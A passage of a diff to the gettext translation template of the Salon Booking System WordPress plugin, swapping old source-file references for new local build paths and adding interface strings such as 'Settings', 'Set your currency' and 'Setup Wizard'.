System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingRating.php:45\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingRating.php:45\n+msgid \"Set rating and comment\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FAttendant.php:141, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:141, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:141, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:141, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:141, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:141\n-msgid \"Thumbnail\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:123\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:123\n+msgid \"Set schedule to: Every 25 minutes\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FAttendant.php:145, src\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:34, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:145, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:34, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:145, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:145, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:145, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:145, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:34\n-msgid \"Telephone\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:315\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:315\n+msgid \"Set the time range to complete the online payment.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FAttendant.php:146, src\u002FSLN\u002FPostType\u002FService.php:157, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:146, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:157, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:146, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:157, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:146, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:157, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:146, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:157, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:146, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:157\n-msgid \"Availability\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_booking.php:50\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:50\n+msgid \"\"\n+\"Set these options carefully because it will affect the number of bookings \"\n+\"you can accept for the same \u003Cstrong>time\u002Fsession\u003C\u002Fstrong>.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FAttendant.php:193, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:193, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:193, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:193, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:193, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:193\n-msgid \"Enter the assistant name\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:304\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:333\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:304\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:333\n+msgid \"\"\n+\"Set this option if you want to limit the number of services bookable during \"\n+\"a single reservation.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FAttendant.php:205, src\u002FSLN\u002FPostType\u002FAttendant.php:209, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:205, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:209, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:205, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:209, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:205, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:209, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:205, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:209, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:205, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:209\n-msgid \"Assistant updated.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:209\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:209\n+msgid \"Set up Stripe, PayPal, or other payment methods in Settings.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:122\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:122\n+msgid \"Set URL to the cache warmer URL above\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:120\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:120\n+msgid \"Set your business hours and available days\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments.php:15\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:57\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:15\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:57\n+msgid \"Set your currency\"\n msgstr \"\"\n \n-#. translators: %s will be replaced by the revision title\n-#: src\u002FSLN\u002FPostType\u002FAttendant.php:212, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:212, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:212, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:212, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:212, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:212\n-msgid \"Assistant restored to revision from %s\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments.php:22\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:64\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:22\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:64\n+msgid \"Set your currency position\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FAttendant.php:216, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:216, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:216, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:216, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:216, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:216\n-msgid \"Assistant published.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:39\n+msgid \"Set your open days and time ranges for online booking.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FAttendant.php:218, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:218, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:218, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:218, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:218, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:218\n-msgid \"Assistant saved.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:35\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:65\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:35\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:65\n+msgid \"Settings\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FAttendant.php:220, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:220, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:220, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:220, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:220, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:220\n-msgid \"Assistant submitted.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:162\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:162\n+msgid \"Settings > SMS Services\"\n msgstr \"\"\n \n-#. translators: %s will be replaced by the date\n-#: src\u002FSLN\u002FPostType\u002FAttendant.php:224, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:224, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:224, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:224, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:224, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:224\n-msgid \"Assistant scheduled for: \u003Cstrong>%1$s\u003C\u002Fstrong>. \"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:16\n+msgid \"Settings debug\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FAttendant.php:228, src\u002FSLN\u002FPostType\u002FBooking.php:596, src\u002FSLN\u002FPostType\u002FResource.php:190, src\u002FSLN\u002FPostType\u002FService.php:231, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:228, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:596, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:190, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:231, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:228, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:596, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:190, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:231, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:228, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:581, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:190, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:231, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:228, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:581, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:190, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:231, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:228, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:596, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:190, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:231\n-msgid \"M j, Y @ G:i\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:32\n+msgid \"Settings import\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FAttendant.php:231, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:231, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:231, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:231, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:231, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:231\n-msgid \"Assistant draft updated.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:205\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:205\n+msgid \"Settings saved successfully\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FAttendant.php:255, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:255, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:255, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:255, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:255, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:255\n-msgid \"Salon Assistant\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:265\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:265\n+msgid \"Settings updated successfully!\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FAttendant.php:257, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:257, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:257, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:257, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:257, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:257\n-msgid \"Add Assistant\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:118\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:118\n+msgid \"Setup Instructions (cron-job.org):\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FOnboarding.php:50\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FOnboarding.php:51\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FOnboarding.php:50\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FOnboarding.php:51\n+msgid \"Setup Wizard\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_availability_row.php:155\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:145\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:184\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:155\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:145\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 